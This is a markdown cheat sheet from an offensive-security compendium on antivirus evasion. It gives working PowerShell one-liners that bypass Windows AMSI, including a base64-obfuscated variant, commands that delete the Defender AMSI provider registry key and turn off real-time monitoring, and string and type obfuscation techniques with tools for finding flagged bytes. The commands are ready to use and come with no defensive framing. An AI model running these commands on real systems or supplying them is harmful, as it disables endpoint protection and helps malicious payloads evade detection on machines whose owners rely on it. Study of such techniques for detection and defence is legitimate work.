killchain-compendium/antivirus_evasion.md

3.9 KiB

Antivirus Evasion

  • Existing types

    • On-Disk evasion
    • In-Memory evasion
  • Detection Methods

    • Static Detection -- Hash or String/Byte Matching
    • Dynamic / Heuristic / Behaviourial Detection -- predefined rules, run inside a sandbox

Anti Malware Secure Interface

Return Result Codes

AMSI_RESULT_CLEAN = 0
AMSI_RESULT_NOT_DETECTED = 1
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
AMSI_RESULT_DETECTED = 32768

Bypass

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
Set-MpPreference -DisableRealtimeMonitoring $true
  • Varying string concatenation and camelCasing variations of the following string
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Validate

.\\AMSITrigger.exe -u <URL> -f 1

or

.\\AMSITrigger.exe -i <file> -f 1

Further Obfuscation

  • String concatenation
$OBF = 'Ob' + 'fu' + 's' +'cation'
  • Concatenate - ('co'+'ffe'+'e')
  • Reorder - ('{1}{0}'-f'ffee','co')
  • Whitespace - ( 'co' +'fee' + 'e')

Type Obfuscation

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
* With
[dorkstork]::copy($buf, 0, $BufferAddress, 6);

Automated Obfuscation

Powershell

Invoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit

Other Obfuscation

  • Pinpoint bytes that will be flagged with ThreadCheck
    • Has to be build via VS. Will output a ddll, an excutable and an XML file.
    • ThreatCheck.exe -f <file>
  • DefenderCheck